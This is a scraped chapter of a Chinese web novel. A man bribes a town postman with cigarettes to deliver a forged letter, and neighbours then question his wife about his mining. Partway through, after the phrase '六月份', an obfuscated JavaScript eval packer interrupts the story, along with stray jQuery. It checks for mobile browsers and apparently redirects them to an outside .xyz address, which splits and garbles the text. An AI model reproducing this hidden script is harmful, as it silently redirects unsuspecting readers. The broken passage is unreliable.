默认冷灰
24号文字
方正启体

11. 邮递员何东

作者:流烟萝本书字数:K更新时间:
    新平镇邮局不大,负责送件的也只有两个人,一个负责镇上信件送达,一个负责将信送到村里。


    虽然邮递员只需要把信送到村委,后面自有村委的人负责,但新平镇下辖十八个村,分布于镇中心的东南西北。


    只一个邮递员,想每天定时定点送件显然是不可能的。


    何况单个村庄,一天也收不到多少信,都跑一圈辛苦不说,实际送的信件还少。所以邮递员送件都是按照不同方向轮流来,平均下来,每个村庄一周只送一次信。


    又因为邮递员是镇上的,每次去送信都只跑一趟村委,所以虽然干了好几年,但各村的人他基本都不认识。


    邢立骁也不认识他,但镇上总共就两个邮递员,他家住哪很好打听。


    于是,何东忙活一天回到镇上,直奔回家时,在巷子口被拦住了。


    石城地处祖国中部,他们这一代人成长过程中又缺衣少食,所以个子大多不高,男人身高能上一米七就算不错了。


    何东就刚过这条线。


    而邢立骁一米八多,虽然不像很多司机一样长得膀大腰圆,但身材结实,一看就是个大块头。


    这会天又暗,他突然从黑暗中走出来,拦在何东面前,后者难免被吓到。


    何东猛刹住自行车,身体后仰,一脸警惕问:“你干什么?”左右看两眼,色厉内荏道,“我家可就在附近,我喊一嗓子,你没好果子吃啊!”


    “何同志你误会了。”


    邢立骁从口袋里摸出烟,走近分了何东两根,并拿打火机给他点上说道,“我叫邢立骁,是东平村的,今天过来找你,主要是想请你帮忙办件事。”


    离得近了,何东看清了邢立骁的模样。


    他相貌不错,浓眉大眼,鼻梁高挺,看着一脸正气。更重要的是他拿出的香烟是黄鹤楼的,这款烟价格不便宜,一包就要三十多,顶他几天工资了。


    能拿出这烟,说明邢立骁拦他不是为了劫财,便伸手接过,一根夹到耳后,一根捏在手里,放在鼻尖轻嗅,再由邢立骁点燃。


    看着烟雾袅袅升起,何东绷紧的身体放松下来,吸了口烟道:“好说好说,你要找我帮什么忙?”


    “我这里有封信,想请你帮忙送到东平村。”


    邢立骁说着拿出信件,何东伸手接过,咬着烟从背包里摸出手电筒,粗略看了眼上面的信息,疑惑问:“沪市的信?”


    “这是假的。”


    何东一愣,他干了几年邮递员,经手的信件没有几十万,也有几万封,可他没有发现这封信哪里有问题。


    但他转念一想,这封信要真是沪市寄来的,自然会通过邮寄流程到他手上,怎么会是邢立骁交给他。


    再看信封上的收件人姓名,他更疑惑了:“你弄一封假信寄给自己?”


    “不是寄给我自己,我想请你帮忙,是为了满足我母亲的心愿。”


    邢立骁给出的解释,和余兰英托书店老板娘收邮票时差不多,虽然情感上,他并不想让已经去世的母亲,再和蒋学兵扯上关系,但理智上他知道,这样的理由最合适。


    何东听完,果然面露同情。


    要是这信是寄给其他人的,他肯定不愿意帮忙,谁知道邢立骁伪造信件是不是为了骗人。但这信是寄给邢立骁自己,伪造信件的目的也是为了尽孝,他觉得可以帮一下。


    但何东没有立刻答应,而是做纠结状,低头狠狠吸了几口烟。


    香烟燃烧过半,邢立骁将刚才拿出的香烟塞进何东手里,说道:“何同志,求求你了,我真是没有办法了。”


    “诶你……”


    何东像是被塞了个烫手山芋,连忙推辞道,“我又没说不帮忙,你塞东西给我干什么?”


    “这烟不值什么钱,相逢就是有缘,就当是我们第一次见面的见面礼。”邢立骁边说,边强硬地将香烟塞进何东口袋。


    何东本来就是假意推辞,听他这么说便收了香烟,嘴上还一个劲地说:“你这人、唉!忒客气!”


    收了东西,肯定要给人办事,何东将信装进挎包说道,“你放心,明天我就把信给你们村送去。”


    “这倒不用,你按正常规律送信就行。”


    平时,何东都是周三送东平村的信,今天才周四,他明天又来,村里肯定有人会觉得奇怪。反正他后面还有其他事要处理,送信这事不用那么急。


    但有一点,邢立骁说道:“我担心村里人知道信是我伪造的,四处传闲话,被我母亲听到,所以送信的时候麻烦你不要透露今晚的事。”


    何东了然,连忙说道:“你放心,我送信的时候肯定不多说,就跟平时一样。”


    “那就麻烦你了。”


    邢立骁说完,又问何东烟抽着怎么样,听他说带劲,便道:“我是运煤的,经常在外面跑,认识个批发香烟的,这烟我拿货便宜,你要是喜欢,改天我再给你带一包。”


    何东心思一动,但想到这烟零售要三十八一包,再便宜自己这点工资也买不起,便想拒绝,但话还没出口,就听邢立骁说:“算是感谢你帮了我这么大一个忙。”


    言下之意,这烟是免费的。


    何东当即咽下到嘴边的话,笑呵呵说道:“送信而已,对我来说小事一桩。你放心,下周三,我肯定帮你把信送到。”


    ……


    “咔嚓。”


    邢立骁拉开卡车驾驶室的车门,伸手拉住把手,左腿一跨,人就钻进了车厢。


    在驾驶座坐下,就着灯光看一眼余兰英怀里抱着的女儿,轻声问道:“希希睡着了?”


    “睡着有一会了。”余兰英也刻意压低了声音,“事情办得怎么样?”


    “成了。”


    “他什么时候来送信?”


    “我让他正常时间,下周二来送。”


    余兰英想了想说:“也好,按照正常规律送,不容易引人注意。”


    “我也这么想。”


    邢立骁说着,发动车辆,沿着长街开回家。


    到家已经八点多,乡下娱乐少,睡的也就早,这会村里大多数人都已经睡了,少数在外面闲聊的,也没怎么在意他们这一辆车。


    毕竟村里有车的人多,天天见也就不稀奇了。


    也是因为村里没有路灯,余兰英一家子又是坐在驾驶室里,从外面往里看黑咕隆咚,根本认不出来里面是谁。


    所以他们夫妻闹别扭虽然是这几天的热门话题,但这会没人拦车追问。


    邢家住在村子中间,但后面是个平台,可以停车。


    邢立骁将车停到平台上,便开车先下去,绕到另一边借住熟睡的女儿,以及余兰英买的杂七杂八的东西,再一起绕到前院回家。


    这过程两人没闹出太大动静,但他们进屋没多久,张小芳和周红霞就过来了。


    前者手上拿着蒲扇,站在门口边往厨房瞅,边问坐在堂屋里分东西的余兰英:“你们这是,和好了?”


    余兰英动作微顿,苦笑道:“不和好又能怎么样呢?”


    周红霞听着话音不对,问道:“你家邢立骁还没放弃上山挖矿?”


    张小芳也问:“李卫杰和黄胜都放弃了,你家那位还要挖啊?”


    六月份


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464000|185432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    交钱上山的人,都在这两个月陆续放弃了,邢立骁、李卫杰和黄胜三人,是唯三还在坚持的。


    余兰英记得,上辈子这时候另外两人还没有彻底放弃。


    直到邢立骁挖到矿的事情传开,他们才停了一段时间,等到有人说东平村范围内都有两条矿脉了,没准还有第三天,原先那些放弃的,没交钱的,纷纷扛着锄头上山后,他们也再次上了山。


    这一挖就是小半年,其他人在邢立骁死于非命后,头脑渐渐冷静了下来,陆续选择放弃。但他们因为和邢立骁一样,在山上坚持了最久,却一无所获,所以比村里其他人更不甘心,一直在山上待到了年底。


    直到两家因为他们几个月没工作开始拉饥荒,这第三条矿脉又迟迟没有影踪,他们才陆续死心。


    余兰英没想到这辈子他们竟然放弃得这么早。


    面对余兰英的疑惑,张小芳解释说:“其实李卫杰和黄胜媳妇早就不想他们继续挖矿了,只是他们看你家那位还在坚持,咬着牙不肯松口。前两天你跟小邢闹了一通,他为了追你去了市里,他们俩的媳妇都觉得小邢放弃了,就跟他们闹了起来。”


    这也是因为两人跟邢立骁一样,自从上山后,就什么事都不干了。


    而东平村因为背靠煤矿,村里种地的人不多,李卫杰和黄胜就是如此,他们一个是旷工,一个也是运煤的。


    两人收入都不低,但负担一个比一个重,邢立骁可以两个月不干活,他们跟着学,家里可遭不住。


    张小芳说:“他们估计也早就想放弃了,媳妇一说,就都下山了,黄胜今天还出车了呢。”


    “所以现在这情况,是他们以为小邢放弃挖矿,也跟着放弃了,”周红霞总结说道,“但实际上你家那位没打算放弃?”


    “兰英,你可别犯糊涂,”张小芳劝道,“山上要是有矿,村里那些干部早围起来自己挖了,能轮得上我们这些没有关系的?你家邢立骁已经浪费了快两个月,赶紧放弃吧,再挖下去,你们春节怕是都过不好。”


    周红霞也附和说:“没错,要我说,你就该在市里多住几天,磨到小邢彻底放弃挖矿再跟他回来。现在就和好,后面你想让他放弃就难了。”


    虽然两人说这些,一部分是因为担心邢立骁真挖出什么,但另一部分也是真心为邢家后面的日子考虑。


    说白了,她们就是典型的“既怕兄弟苦,又怕兄弟开路虎”的心理。


    也因为这样,当邻居这几年,余兰英和她们的关系虽然没多亲密,却也没有交恶。这会听着两人的劝说,她也没有不耐烦,只说:“你们放心,立骁答应我了,挖完这个月,要是还什么都没有挖到,他肯定不会再继续了。”


    “都挖快两个月了,他还要再挖半个月,”张小芳皱着眉揣测,“不会半个月后再跟你要半个月吧?”


    周红霞也这么想,说道:“你也太纵着他了,这么大的事,怎么能由着他说了算?”


    余兰英叹气:“不由着他能怎么办呢?我又不挣钱,吃喝全靠他,总不能跟他闹离婚吧?”


    在这个年代,哪怕是城里,离婚都是件稀罕事,何况是农村,他们一个村,离婚的人也一个巴掌都数不过来。


    听余兰英这么说,两人都有点不敢吱声了,就怕说着说着,她真跟邢立骁闹离婚。


    俗话说“宁拆十座庙,不毁一桩婚”,他们要真因为她们俩几句话离了,她们罪过就大了。


    两人瞬间改口:“也是,既然他说再挖半个月,那就半个月后再说吧,离婚这种话,还是少提。”


    余兰英微笑:“我也这么想。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)